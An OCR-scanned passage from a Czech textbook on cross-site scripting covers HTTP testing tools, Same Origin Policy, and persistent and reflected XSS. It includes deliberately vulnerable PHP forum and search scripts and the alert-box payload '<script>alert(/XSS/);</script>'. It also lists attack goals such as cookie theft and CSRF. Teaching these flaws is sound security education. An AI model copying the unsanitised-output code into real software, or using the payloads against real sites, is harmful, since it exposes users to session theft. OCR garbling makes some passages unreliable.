Vv ostatnich nastrojich nenajdeme. Muzete napiiklad ruéné zapsat cely zdroj
HTTP pozadavku, ktery nasledné odeslete na server a prozkoumate obsah
vracené odpovédi. Paros tedy urcité stoji za vyzkouseni.

Ostatni nastroje zobrazujici HTTP komunikaci

Na zavér této kapitoly zminim jesté nékolik programi, které by
nemély ujit vasi pozornosti. Zda je budete pfi své praci vyuzivat nebo ne, je
plné€ na vasem rozhodnuti.

Jeden z nejstarSich programti pro zkoumani a zménu HTTP
komunikace, o kterém asto uslysite, je Achilles®. K dispozici je pouze verze
pro Windows, a musim fici, Ze v sou¢asné dobé¢ je tento nastroj v mnoha
smérech prekonan konkuren¢nimi nastroji.

Vyzkouset muzete také dal§i dopliiky pro Firefox, kterymi jsou
LiveHTTPheaders*, ModifyHeaders®, Quick proxy® nebo HttpFox’.

! http://www.portswigger.net/ourp

2 http://www.parosproxy.org

% http://www.mavensecurity.com/Achilles
* http://livehttpheaders.mozdev.org

% http://modifyheaders.mozdev.org

® http://ozzie.id.au/quickproxy/

" http://code.google.com/p/httpfox/
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Koédovani/dekédovani znaku a kodu

Hackvertor

Ackoliv si pozd€ji sami napiSeme jednoduchou aplikaci pro
kodovani textovych fetézcl, jen téZko se bude moci vyrovnat skvélému
a hlavné vSestrannému nastroji pro jejich kodovani a dekodovani, kterym je
bezesporu on-line webova aplikace Hackvertor®, jejiz autorem je Gareth
Heyes.

Souber Upngsy Zobrsen botoe Zagiy e hapextie
SC XAy P D repmeheocospic BIEE 5

[ Hackvertor

Clear || Cloarings | ClearErvora | Swap | Select Converl

g mocivetorcok/publc? # @ TorDesbied igy

Prace s Hackvertorem je velice jednoducha. Je zalozena na XML
afetézce, které si pfejeme zakddovat, dekddovat, nebo jinak upravit, pouze
obalime patfi¢nymi znaCkami. Snadno tak docilime i vicenasobné upravy
puvodniho fetézce.

Kromé samotnych funkei pro kédovani fetézc ma Hackvertor
zabudovany i n¢které vektory XSS utoku, které je tak mozné lehce piidat
k vlastnim kodim. Diky vSestrannym dekodovacim funkcim se tento néstroj
také vyborné hodi pro dekddovani obfuskovaného kodu riizného malwaru.

! http://hackvertor.co.uk
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CAL9000

Aplikace CAL9000" je daldim z projekti OWASP, ktery je urden
pro penetra¢ni testovani. Podobné jako Hackvertor umoziuje i tento webovy
nastroj kédovani a dekddovani textovych fetézct pomoci mnoha rozsifenych
algoritmti. Mezi jeho dalsi vlastnosti patii kddovani IP adresy, prace s HTTP
hlavickami, rozsahly seznam vektort XSS utokl, reference riiznych
webovych platforem a jazykl, plus mnoho dalsiho. Bohuzel byla prace na
projektu jiz ukonfena a dokonce i jeho download bude nutny
z alternativniho zdroje.

CAL9000

05883 53] e tring MeACarCace(B8.83,831)

n e
SERIPT i Cace
17t Bromert Aracis

- [} [ [ ] [

- [ T

! http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
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Kapitola 3

Uvod do XSS a
souvisejicich zranitelnosti

Po nutném predstaveni skriptovaciho jazyka JavaScript, dilezitych
vlastnosti webovych prohlizeci a nastrojti, které se vam mohou b&hem
vyvoje vlastnich skriptii a pfi hledani zranitelnosti ve webovych aplikacich
hodit, nastal kone¢né Cas, kdy se podrobné¢ sezndmime se zranitelnosti
Cross-Site Scripting, které je tato kniha vénovana.

Téma XSS je natolik obsahlé a zranitelnost existuje v tolika
podobach, ze neni mozné popsat vSechny jeji varianty a vektory utokt
V jediném odstavci. Pro lepsi pochopeni si tedy zranitelnost XSS rozdélime
na nékolik typl, a kazdému z nich se budeme vénovat zvlast. I pfes tuto
rozmanitost ma ov8em zranitelnost Cross-Site Scripting jeden spole¢ny
zaklad, ktery si nyni popiSeme.

Jiz v kapitole vénované Same Origin Policy jsme struéné nastinili
zavaznost a nebezpeCnost situace, pokud by ttoénikiv skript mohl
pristupovat k obsahu webovych stranek z jiné domény. Nastinili jsme si
nasledky, jaké by mohly vzniknout, kdyby z nich mohl tento skript Cist
informace, nebo je dokonce ménit a vkladat. V nasledujicim diagramu se
pokusim tuto situaci nastinit pro lepsi pochopeni graficky.

‘ Diagram 4 - Princip Same Origin Policy zamezujici pfistupu k datiim z jiné domény

Stranka s klientskou aplikaci obsahujici
diveérna data. Pristup k témto datim z jiné
domény je zakazan.

Webova stranka to¢nika nactena
Vv novém okné prohlizece. Mohla by byt
ovSem nactena také v ramu webové

stranky klientské aplikace, nebo by Z _

mohla ram s klientskou aplikaci

obsahovat. Pokud tato stranka pochazi
zjiné domény, nemulze pristupovat
k datlim obsazenym v dokumentu, ktery

je nacten z jiné domény.
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Zminili jsme také, Ze diky omezeni v podob& Same Origin Policy
neni pfistup k dokumentim z jiné domény mozny. Nicméné jsme nakousli
variantu, ze pokud se utoénikovi podafi vlozit svij skript do samotné
webové aplikace, jejiz uzivatelska data chce ziskat, nebo je jinak ovlivnit,
mohl by tento skript uvedeného cile dosdhnout. Opét si uvedené znazornime
pro lepsi predstavu graficky.

‘ Diagram 5 - Princip umoznéni pristupu k datim v ramci stejné domény

Stranka s klientskou aplikaci obsahujici
duveérna data. Piistup k témto datim je ze
stejné domény
Skript obsazeny piimo ve webové povolen
strance klientské aplikace. Muze ovSem
byt obsazen i v jiné webové strance

pochézejici ze stejné domény. Ta muze [ _

byt oteviena v jiném okné prohlizece

nebo muze byt vloZena v ramu ptivodni

stranky apd. V tomto ptipadé ma skript /
piistup ke vSem datim z klientské
aplikace. MiiZe je ¢ist, nebo i ménit.

Nyni si jisté tikate, Ze aby se uto¢nikovi néco podobného podatilo,
musel by sviij skript vlozit do zdrojovych kodi webové aplikace, které jsou
ulozeny na webovém serveru. Nebo-li, musel by nejprve napadnout webovy
server a teprve ve chvili, kdy by na ném ziskal patfi¢na opravnéni, mohl by
pozménit kod aplikace. Opak je ale pravdou. T kdyz je mozné vlozit kod
JavaScriptu do webové aplikace uvedenym postupem, je utok Cross-Site
Scripting zkracené nazyvany XSS o néfem jiném.

Jisté se ptate, jakym zpisobem mize Gtocnik vlozit svij skript na
webové stranky, aniz by ziskal piistup ke kodim uloZzenym na webovém
serveru. No a to uz se dostavame k vlastnimu rozdé€leni zranitelnosti XSS,
nebot’ cest, kterymi mize uto¢nik dosahnout spusténi skriptu v kontextu
napadené webové stranky, je cela fada.

Dilezité je, abyste pochopili hlavni podstatu utokd typu XSS.
Totiz, ze XSS neni utokem proti webovému serveru, ale utokem proti
samotnym uzivatelim webové aplikace, nebo presnéji feceno proti jejich
webovym prohlize¢im, které utocny kod vykonaji. B&hem utoku tedy
nedochazi a ani to neni mozné, k upravé kodu ulozenych na serveru.
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Perzistentni XSS

Asi nejCastéjsi a nejvice zfetelné je rozdéleni XSS utokl na
persistentni neboli trvalé a non-perzistentni neboli docasné. V této kapitole
se budeme vénovat pravé trvalému - perzistentnimu typu XSS utoku. Tento
vektor je nejsnaze pochopitelnym typem, a proto zaéneme nas vyklad pravé
jeho popisem. Aby mohl byt utok trvaly, je nutné ulozit kod JavaScriptu na
webovy server tak, aby se injektovany skript nacetl s webovou strankou
vzdy, kdyz je tato zobrazena. Toto tvrzeni ovSem odporuje poslednimu
odstavei predchozi kapitoly, ve kterém jsem uvadél, ze pfi XSS utoku
nezasahujeme do kodd ulozenych na webovém serveru. Nyni to tedy trochu
upfesnim. Sviij kod JavaScriptu pii perzistentnim XSS skuteéné nevkladame
do kodu webové aplikace, ale ukladame jej do datového ulozisté dané
aplikace. To znamena, ze dojde k ulozeni naSich ko6dd do souboru nebo do
databaze. Aplikace pak sama béhem zobrazeni webové stranky tyto nase
skripty precte a zakomponuje je do vraceného obsahu HTML.

S timto typem utoku se proto setkame nejastéji v diskusnich
forech, komentatich pod ¢lanky a vSude tam, kde maji uzivatelé moznost
ulozit trvale na webovy server svij piispévek.

Protoze zatim stale jen chodim okolo horké kase, je nacase uvést si
konkrétni priklad zranitelné aplikace. Na ném si totiz nejlépe princip Gtoku
vysvétlime. Ve vypise 18 najdete zdrojové kody webového fora, které je na
persistentni XSS nachylné.

Prvni ¢ést skriptu pfebird hodnoty odeslané uzivatelem a uklada je
do souboru forum.txt. Tato ¢ast neni z hlediska naSeho vykladu piilis
dalezita. Za povsimnuti stoji pouze skutecnost, ze se zde neprovadi zadné
kontroly uzivatelského vstupu, a ten je tak do souboru ulozen piesné ve
tvaru, v jakém jej uzivatel odeslal. Z pohledu XSS neni potieba uzivatelska
data na vstupu oSetfovat, i kdyz tak nékteti vyvojati (dle mého nespravné)
¢ini. Neméli bychom ale zapominat na jiné typy zranitelnosti a méli bychom
reagovat na vyskyt metaznakii konkrétniho subsystému, kterému nasledné
tato data pfedavame. Pokud tak neucinime, mize dojit naptiklad k utoku
SQL injection, pokud bychom za tilozisté nasich dat zvolili databazi.

Nasledujici ¢ast skriptu ma za ukol nacist jednotlivé piispévky
uzivateli ze souboru a zobrazit je na strance. Tato Cast, ktera posild na
vystup data z uzivatelského vstupu, je z hlediska XSS utokti velmi dulezita.
Aplikace by méla vzdy kontrolovat a oSetfovat vystup, jehoz hodnota mohla
byt vloZzena nebo pozménéna ze strany uzivatele. V uvedeném vypise vSak
z pochopitelnych diivodu jakékoliv kontroly chybi a obsah souboru je pfimo
predan funkci echo, ktera jej vlozi do obsahu HTML stranky.
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Vypis 18 - Zdrojovy kéd zranitelného webového féra

<?php
$jmeno = $ POST["Jjmeno"]; $txt = $_POST["txt"];
if (Sjmeno) {
file_put_contents ("forum.txt", "<b>$jmeno:</b>$txt<br>\n", FILE APPEND) ;
}

?>
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>
</head>
<body>
<h1>Diskuzni férum</hl>
<hr>
<?php
echo file get contents("forum.txt");
Ees
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Text:</td>
<td><textarea name="txt" rows="3" cols="30"></textarea></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Ode$li">
</tr>
</table>
</form>
</body>
</html>

Nyni si ve wpise 19 ukazeme zdrojovy kod HTML stranky, kterou
vygeneruje nas skript po vlozeni n€kolika uzivatelskych ptispévki. Webova
stranka tvofena uvedenym HTML kodem je vtéto podobé nactena
a zobrazena kazdému z navstévnikd naseho diskusniho fora. Ve vypisu si
v8§imnéte hlavné tuéné oznacené ¢asti, kterou tvofi obsah souboru forum.txt
S jednotlivymi ptispévky uzivatelt.

Vypis 19 - HTML kéd webové stranky s diskusnim férem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>
</head>
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<body>
<h1>Diskuzni férum</hl>
<hr>
<b>Petr:</b> Ahojte vSichni. Jak se mate?<br>
<b>Honza:</b> Véfim, Ze se mame dobfe :)<br>
<b>Jirka:</b> To jsou zas keci.<br>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Text:</td>
<td><textarea name="txt" rows="3" cols="30"></textarea></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="OdeSli">
</tr>
</table>
</form>
</body>
</html>

Nyni se zkuste zamyslet na tim, co se stane, kdyz uzivatel vlozi
namisto bézného ptispévku nasledujici text obsahujici HTML tagy.

Toto je miij <u>pozdrav</u>

Po odeslani takového ptispévku a po zobrazeni webové stranky
s nim, bude tato zobrazena tak, jak ukazuje nasledujici screenshot. Vraceny
zdrojovy kod této HTML stranky uvadim ve vypisu 20.

1@ Diskuzni férum - Mozilla Firefox =l
Soubor Upravy Zobrazeni Historie Zélgiky Nastroje Mapoyéda
- C N % ,? =[] htps//www.hackingvpraxi.cz/showphp 77 | [*f - Google P
| Diskuzni férum + -

Diskuzni forum

Petr: Ahojte viichni. Jak se mate?
Honza: Véiim, Ze se mame dobfe )
Jirka: To jsou zas keci

Roman: Toto je nij pozdrav

Jméno:
Text:

Hotovo # @ TorDisabled gy @
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Vypis 20 - HTML kéd diskusniho féra s nasim prispévkem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>
</head>
<body>
<h1>Diskuzni férum</hl>
<hr>
<b>Petr:</b> Ahojte v8ichni. Jak se mate?<br>
<b>Honza:</b> V&%¥im, Ze se mdme dobfe :)<br>
<b>Jirka:</b> To jsou zas keci.<br>
<b>Roman:</b> ESEONSEINUSICUSPORAEAV/ES - x>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Text:</td>
<td><textarea name="txt" rows="3" cols="30"></textarea></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Ode$li">
</tr>
</table>
</form>
</body>
</html>

Ceho si miiZete na prvni pohled viimnout, je skutetnost, Ze je
slovo pozdrav z nami vlozeného piispévku vypsano podtrzenym pismem.
Zpusobil to HTML tag <u>, kterym jsme slovo v ptispévku obklopili.
Uvedeny ptiklad neni zatim pravym Cross-Site Scriptingem, protoze béhem
n&j nedoslo ke spusténi zadného skriptu. Slo 0 HTML injection, kterému se
budu v této knize také stru¢né vénovat. Jedna se o jakéhosi bratiicka XSS
a proto jsou ¢asto 0b¢ tyto zranitelnosti pod Cross-Site Scripting zatazovany.

Nyni si v8ak na nasem piikladu diskusniho fora ukazeme skute¢ny
XSS utok, jimZz spustime na webové strance na§ prvni injektovany skript.
V piipadech, kdy budeme pouze dokazovat, ze je dany utok proveditelny,
nebudeme vytvaret zadné slozité skripty. Vystacime si s jedinym ptikazem
ato konkrétné s metodou alert objektu window, o které jsem se jiz diive
nékolikrat zminil. Tato metoda, ve chvili, kdy je vykonana, zptsobi
zobrazeni vystrazného okna. To nas bude informovat o tom, ze doslo ke
spusténi vlozeného skriptu, coz je pfesné to, o co nam v naSich proof of
conceptech ptjde. Zkusime tedy nyni do naSeho diskusniho féra vlozit
nasledujici ptispévek:

<script>alert(/XSS/);</script>.
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Ve chvili, kdy naéteme webovou stranku s diskusnim férem, bude
jeji HTML zdrojovy kod vypadat tak, jak ve zkracené podobé uvadim ve
vypise 21. Jestlize jsme vSe udélali spravné, mélo by dojit ke spusténi
vlozeného skriptu a tim padem i k zobrazeni vystrazného okna s textem
/XSS/ (viz. screenshot nize). Pokud se informaéni okno nezobrazilo,
zkontrolujte, zda jste nékde neudélali chybu, piipadné se ujistéte, zda mate
povoleno spousténi JavaScriptu ve svém webovém prohlize¢i. Blokovat
JavaScript mohou i rtizné dopliikové nastroje, které se staraji o vasi
bezpecnost. Témto nastrojim se budeme pozdg€ji v této knize vénovat,
nicméné v soucasné dobé& (pii spousténi nasich testovacich skript) si tyto
nastroje doCasné vypnéte a spousténi JavaScriptu ve svém browseru povolte.

Vypis 21 - zkraceny HTML kéd diskusniho féra s injektovanym skriptem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>

</head>
<body>
<hl>Diskuzni férum</hl>
<hr>
<b>Petr:</b> Ahojte vSichni. Jak se méate?<br>
<b>Honza:</b> V&f¥im, Ze se mame dobfe :)<br>

<b>Jirka:</b> To jsou zas keci.<br>
<b>Roman:</b> Toto je mij <u>pozdrav</u><br>
<b>atacker:</b> KECEIPESaIEEE (/XSS/NER/SEEIPES <pr>
<hr>
<form name="formular" method="post">
<table>
</table>
</form>
</body></html>

@ Diskuzni forum - Mozl Firefox SB[ =

@ *C X & 8 4 - wpiewwhsckingvprai.casshow.ph 0] P

2. Diskuzni férum - -

1 Diskuzni forum

et Ao it o Sy g ek i =
Honza: Véfim, e se mim| | PSS/

Jirka: To json zas keci !
Roman: Toto je nuij pozd |
Atacker:

oK

PlenaZeni dat 2 www hackingvprad.co_. # @ TorDisabled ﬁi s
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V tuto chvili by jiz mélo byt jasné, jak u persistentniho typu XSS
nacte aplikace injektovany skript ze svého datového tlozisté a zakomponuje
jej do HTML kédu stranky. Pro jistotu a va$i lep$i pfedstavu ale radgji
uvedu také diagram, ktery jednotlivé faze persistentniho utoku znazoriuje.

‘ Diagram 6 - Jednotlivé faze béhem persistentniho XSS utoku
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1) toénik odesila sviij skript na webovy server

2) webovy server uklada uto¢nikav vstup do datového ulozisté
3) uzivatel si vyzada obsah webové stranky

4) server sahne pro data do datového uloZzisté

5) tato data (véetné skriptu, ktery vlozil uto¢nik) jsou vlozena do

obsahu webové stranky

6) webova stranka je vracena uZivateli, ktery si ji vyzadal, ¢imz
dochézi v uzivatelové prohlize¢i ke spusténi injektovaného
skriptu

Ze samotného principu vyplyva také skuteCnost, ze webovy
prohlize¢ nema zadnou moznost, jak uréit, zda obsazeny kod JavaScriptu je
legitimni soucésti webové stranky, nebo zda se jedna o skript injektovany
utoénikem. Obrana pied timto typem utoku ze strany browserl je proto
skute¢nym ofiSkem a v soucasné dobé se s nim dokdze zdarné vyporadat
snad jen zaimplementovani bezpe¢nostni politiky Content Security Policy do
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webové aplikace. O této bezpeénostni politice se zminim v ¢asti vé€nované
obrané.

Kdyz jsme si nyni predvedli, jak jednoduché je vloZeni skriptu do
cizi aplikace, zkusime si nastinit i nékteré konkrétni cile, které je mozné
prostiednictvim podobného XSS utoku provést. V tabulce 19 uvadim
nékolik moznych cilti, kterych miZze uto¢nik u wuZivatele dosahnout
prostfednictvim naSeho zranitelného diskusniho fora. Vidite, ze nemusi jit
pouze o jednoduché vystrazné okno vyvolané metodou alert(), které jsme si
pred chvili ukazali. Utoénik miize dosdhnout mnoha riiznych vysledki. Stai
si uvédomit, ze jakmile jednou uto¢nik nalezne XSS zranitelnost a spusti
skrze ni ve webovém prohlize¢i uzivateli svij kod, muze plné vyuzivat
viech mozZnosti, které JavaScript poskytuje webovym vyvojaiim. Casto tak
zaleZi jen na jeho vynalézavosti, jakym zptisobem svij Gitok pojme a co bude
jeho zamérem. VétSina uvedenych utokti neni pfitom zavisla jen na
perzistentnim XSS. Stejné dobfe je mozna jejich realizace i prostiednictvim
non-perzistentniho XSS. Nebudu proto v této kapitole vypisovat konkrétni
utocné skripty, kterym namisto toho vénuji samostatnou kapitolu. Prozatim
nastifuji pouze mozné scénafe. Cheete-li jiz nyni néktery z nich vyzkouset
v praxi na vlastni webové aplikaci, klidné si odskocte do kapitoly vénované
konkrétnim utokiim. Mizete se také pokusit zrealizovat néktery z nich
vlastni cestou, nebo dokonce vymyslet a zrealizovat zcela odlisny typ utoku.

Tabulka 19 - Ndstin moZnych cilit XSS Gtokd

Presmérovani na jinou stranku

Smazani nebo nahrazeni obsahu webové stranky

Zména cile v pfihlaSovacim formuld¥i nebo zobrazeni vlastniho formuldfe
Unos uZivatelské session (Cookie stealing)

Zaslani hlasu do webové ankety (CSRF)

Odesléni nevyzédanych e-maild (spaming)

Ovladnuti uzZivatelskych browsert (XSS proxy)

Z vyse uvedeného popisu perzistentniho XSS by mélo byt ziejmé,
ze na tento typ utoku narazite nejcastéji pravé v riznych diskusnich forech,
kde mohou uZivatelé vkladat své prispévky. Setkat se s nim miZete ale také
vSude tam, kde se zobrazuji jakékoliv udaje vlozené samotnymi uzivateli
webové aplikace. Naptiklad tedy ve webovém rozhrani e-mailovych Géta,
u systému pro zasilani soukromych zprav, v tabulce nejlepSich hracu, nebo
pii zobrazeni uZivatelského profilu. Mnohokrat jsem se také setkal se
zranitelnym mistem také pfi zobrazovani nejvyhledavanéjsich textovych
fetézcll u raznych vyhledavaca.
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Jakmile jednou dojde k napadeni webové aplikace perzistentnim
typem utoku, neujde vétSinou tato skute¢nost pozornosti administrator
dotéeného webu. Defacement webovych stranek nebo piesmérovani je totiz
na prvni pohled patrné a webmaster se rychle s problematikou perzistentni
XSS zranitelnosti seznami a ze svych stranek ji brzy odstrani. Dalo by se
Fici, Ze je to jakési poprvé a naposled, a tak tato zranitelnost z webovych
aplikaci po prvnim zneuziti velmi rychle mizi. Samozfejmé se miZe stat, Ze
je perzistentniho XSS zneuzito i nenapadnym zptsobem (naptiklad ke
kradezi cookies) a pfitomnost utoéného skriptu tak zistane dlouho skryta
pfed zraky navstévniki webu a dokonce i pfed zrakem samotného
administratora. V takovém piipad¢€ se jednd o velmi zavazny a nebezpecny
utok. Napaden je totiz kazdy z navstévnikd webové aplikace, ktery se proti
XSS sam aktivné nechrani. Napaden je navic pokazdé, kdy aplikaci
s injektovanym skriptem navstivi. Webovy prohlize¢ uzivatele se tak snadno
mize stat prostiednikem pti vedeni naslednych titokt proti dalsim webovym
aplikacim kdekoliv na Internetu a to vSe pod identitou napadeného uzivatele.
Pozdéji si predstavime napiiklad XSS backdoory, které z browsert
napadenych uzivateli vytvateji armady poslusnych zombii.
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Non-perzistentni (reflected) XSS

Se zranitelnosti XSS se nejcastéji setkate praveé v jeji podobé non-
perzistent, které se také nékdy tika reflected nebo-1i reflektované XSS.
Vysvétleni této zranitelnosti si ovSem vyzada o néco vice fadku textu, nez
tomu bylo u perzistentniho typu. Ackoliv nejde o nic slozitého, je dilezité,
abyste nasledujicim odstavcim dokonale porozuméli. Jedna se totiz
0 zakladni zptisob injektaze skripti do obsahu webovych stranek a budete se
s nim stfetavat velice Casto.

Podobné jako u perzistentniho XSS, jde i zde o vloZeni skriptu do
obsahu webové stranky. Narozdil od perzistentniho typu utoku nedochazi ale
v tomto piipad¢ ke stalému vlozeni skriptu do databaze nebo jiného
datového ulozist€¢ na stran¢ serveru. Skript je proto nutné predavat
webovému serveru spoleéné s kazdym pozadavkem na zaslani obsahu
webové stranky. Server ptedany skript zakomponuje jednorazové do obsahu
HTML dokumentu a vysledek vrati k zobrazeni webovému browseru. Ten
pak pii zobrazovani stranky injektovany skript spusti. Dalo by se tedy fici,
ze u non-perzistentniho typu utoku je skript ulozen na strang uzivatele.

Je mi jasné, ze pokud o reflektovaném XSS slySite poprvé, musi
vam pfipadat informace obsazené v piedchozim odstavci pon¢kud zmatené.
Jist¢ si kladete otazky: Jak je mozné, aby byl itoény skript uloZen na strané
uzivatele a ne v datovém ulozisti webového serveru? Jakym zplisobem mize
uto¢nik svij skript propaSovat k uzivatelam? Jak jej uzivatelé zasilaji
webovému serveru, aby je ten zapracoval do obsahu webové stranky, ktera
jim pak bude vracena a zobrazena? Nebojte se. Odpovédi na tyto otazky jsou
skuteéné prosté a za par okamzikd jiz na vSechny budete znat odpovéd'.

Zpusob, jakym se skripty béhem non-perzistentniho XSS dostavaji
od uZivatele na server se rizni podle toho, zda jsou proménné HTTP
pozadavki odesilany metodou GET, nebo zda je pro jejich odesilani pouzita
metoda POST. O obou téchto variantdch se proto dikladné rozepisi
v samostatnych ¢astech.

Pozadavky metody GET

Pokud z webového prohlizeGe odeSleme webovému serveru
pozadavek na zaslani obsahu webové stranky a pouzijeme pii tom metodu
GET, jsou jednotlivé proménné pozadavku ptedavany jako soucast URI.
Metodou GET jsou napiiklad odesilany vSechny poZadavky vzniklé
kliknutim na bézny odkaz tvofeny HTML tagem <a>, pozadavky vzniklé
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pii pfimém zapisu URL adresy do adresniho fadku, nebo pii vybéru odkazu
z oblibenych polozek. Od samotné URL adresy je pfi pouziti této metody
oddélena oblast proménnych znakem ? (otaznik) a jednotlivé proménné mezi
sebou pak znakem & (ampersand). URI pozadavku mize vypadat podobné
jako toto z vyhledavace Seznam.cz:

http://search.seznam.cz?sourceid=szn-HP &q=test

V ptipadé XSS mize utocnik pomoci metody GET piedat
v hodnoté né&které proménné také svij Gtoény skript. Staci, aby jej
zakomponoval do URI svého odkazu, ktery podstréi své obé&ti. Pokud ta
odkaz nasleduje, piejde na odkazovanou stranku, ¢imZ zaroven pteda tento
ptipraveny skript webovému serveru v obsahu poZzadavku. Aplikace totiz
Casto hodnoty z obdrZenych proménnych za€leiuji do vlastniho obsahu
webové stranky a tim oteviraji cesty pro injektaZ nezadoucich skriptti. Pokud
jsou totiz tato data z pfedanych proménnych vkladana aplikaci ptimo do
HTML kédu bez jakéhokoliv oSetieni, stava se tato aplikace zranitelnou na
non-perzistentni XSS. V koneéném dasledku to znamena, ze aplikace
pfevezme skript obsazeny v proménné, zakomponuje jej do obsahu
vyzadaného dokumentu a nasledné tento dokument vrati uzivateli. Na jeho
strané je tento HTML dokument zobrazen webovym prohlizeCem, ktery
soucasné S vlastnim zobrazenim dokumentu vykona také vlozeny skript.

Pro lepsi piedstavu si jesté tuto komunikaci mezi vSemi
zGCastnénymi stranami zndzornime graficky. Cely non-perzistentni XSS
utok se da rozdélit do nékolika fazi.

l Diagram 7 - Jednotlivé faze non-perzistentniho XSS utoku metodou GET

webserver
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V diagramu 7 jsou tyto faze oznaCeny ¢&isly 1-3, které maji
nasledujici vyznam:

1) V prvni fazi Gtoku pfipravi Gto¢nik nakazeny odkaz a podstr¢i
ho své obéti. Mtize tak ucinit zaslanim odkazu skrz instant messengera nebo
e-mail. Mize ale také zaslat uzivateli soukromou zpravou uvnité webové
aplikace nebo zvefejnit odkaz na svém nebo cizim webu.

2) Druha faze nastava v okamziku, kdy podvedeny uzivatel na
zminény odkaz klikne, nebo jej nevédomky odesle uz jen diky tomu, Ze
navstivil webovou stranku Uto¢nika. Behem této faze se utocny skript
obsazeny v parametru odkazu pfedd na webovy server. Kromé jiného je
tieba si také uvédomit, ze odeslani skriptu mtize byt na serveru zalogovano
spole¢né s IP adresou nic netusiciho uzivatele a uto¢nik se tak ocitd kdesi ve
zdanlivé anonymite.

3) V posledni fazi webovy server vygeneruje obsah HTML
dokumentu, do kterého vlozi také uto¢ny skript z pozadavku. Takto
vygenerovanou stranku odeSle zpét uzivateli, na jehoz strané je pak
dokument zobrazen webovym prohlize¢em. Béhem vlastniho zobrazeni
webové stranky dojde v uzivatelové browseru ke spusténi vlioZeného skriptu
a tim k provedeni uto¢né akce, pro kterou byl skript vytvoten.

Nyni si vSe ukdzeme na konkrétnim piikladu. Mé&me HTML
stranku webového vyhledavace (pro zjednoduseni je vypusténa funkce
samotného vyhledavani - stranka pouze zobrazuje vysledek, Ze zadana fraze
nebyla nalezena). Zdrojovy kod php skriptu na strané serveru by mohl
vypadat tak, jak ukazuje vypis 22.

Vypis 22 - Zdrojovy kéd "vyhleddvace"”, ktery vraci zpravu o nenalezeni fraze

<?php
$dotaz = $_GET["dotaz"];
if ($dotaz) $dotaz = "Pro hledanou frazi: <b>$dotaz</b> nebyly

nalezeny zadné vysledky.";
2=
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavadé</title>
</head>
<body>
<hl>Webovy vyhledavad</hl>
<hr> <?php echo $dotaz; ?> <hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz">
<input type="submit" value="Hledej">
</form>
</body>
</html>
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Ve chvili, kdy do vyhledavaciho pole zadame né&jaky text (v nasem
ptipadé slovo jeiabina) a odeSleme formulaf ke zpracovani, bude nam
vracena stranka, kterou zobrazuje nasledujici screenshot.

@ Webovj wyhledévat - Mozilla Firsfox = | B o)
Soubor Upravy Zobrazeni Historie Zalozky Nastroje Napovéda

— Nl A % P ([ wopsrwwwhackingvorax.csearchphe vy - | (M- Google P
|| Webovy vyhledéva& -

Webovy vyhledavaé

Pro hledanou frézi jaFebina nebyly nalezeny Zadné visledky.

Zadej hledanou frazi:

Hotovo # @ Torbimbled Ry &

Za povsimnuti zde stoji hned nékolik skutecnosti. Napfiklad, ze je
hledana fraze z formulafe pfedavana serveru metodou GET v proménné
dotaz, nebo ze na strané serveru neni hodnota tohoto parametru zadnym
zpusobem oSetiena a je okamzité zakomponovana do vystupu (to ovSem vite
zatim pouze z php skriptu). Nyni se na vyhleddva¢ podivdme pohledem
utoénika a v§imneme si, ze nami zadané slovo jerabina se zobrazuje ve
vysledcich hledani uvnitt véty: "Pro hledanou frazi: jeiabina nebyly
nalezeny Zddné vysledky". Z tohoto mizeme uréit potencialné nebezpecné
misto v aplikaci i bez znalosti php kédu. Uzivatelsky vstup se nam totiz
objevuje na vystupu. Ve vypisu 23 muzete vidét, jak vypada zdrojovy kod
HTML stranky na strané klienta.

Vypis 23 - Zdrojovy kéd HTML stranky se zobrazenym vysledkem hledani

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavacé</title>
</head>
<body>
<hl>Webovy vyhledavac</hl>
<hr>
Pro hledanou frazi: <b>[EEGBEAE</b> nebyly nalezeny Zadné vysledky.
<hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz">
<input type="submit" value="Hledej">
</form>
</body>
</html>
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Co se vSak stane, pokud uzivatel zada do vyhledavaciho pole kod
JavaScriptu, podobn¢ jako tomu bylo u perzistentniho typu XSS? Muzeme si
to samoziejme hned vyzkouset. Do vyhledavaciho pole vlozte text v podobé
nam jiz znamého jednoduchého skriptu: <script>alert(/XSS/);</script>.
Na nasledujicim screenshotu vidite vysledek naseho pokusu a ve vypisu 24
pak zdrojovy kod HTML webové stranky vracené serverem.

@ Webowy wyhledsvat - Mazilla Firefox SEIS
@ -cxaov P e | - 2

3 Webowy vyhledivad s

Webovy vyhledavac

Deo Hedanoa £ Sdtlen strinky hip/wwwhackingvprasi.cz ]

o Hedasou iz

i
o
[ rre— ¥ @ Tonuned Iy

Vypis 24 - Zdrojovy kéd stranky s injektovanym skriptem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledédva&</title>
</head>
<body>
<hl>Webovy vyhledavad</hl>
<hr>
Pro hledanou frazi: <b>_</b> nebyly nalezeny
zadné vysledky.
<hr>
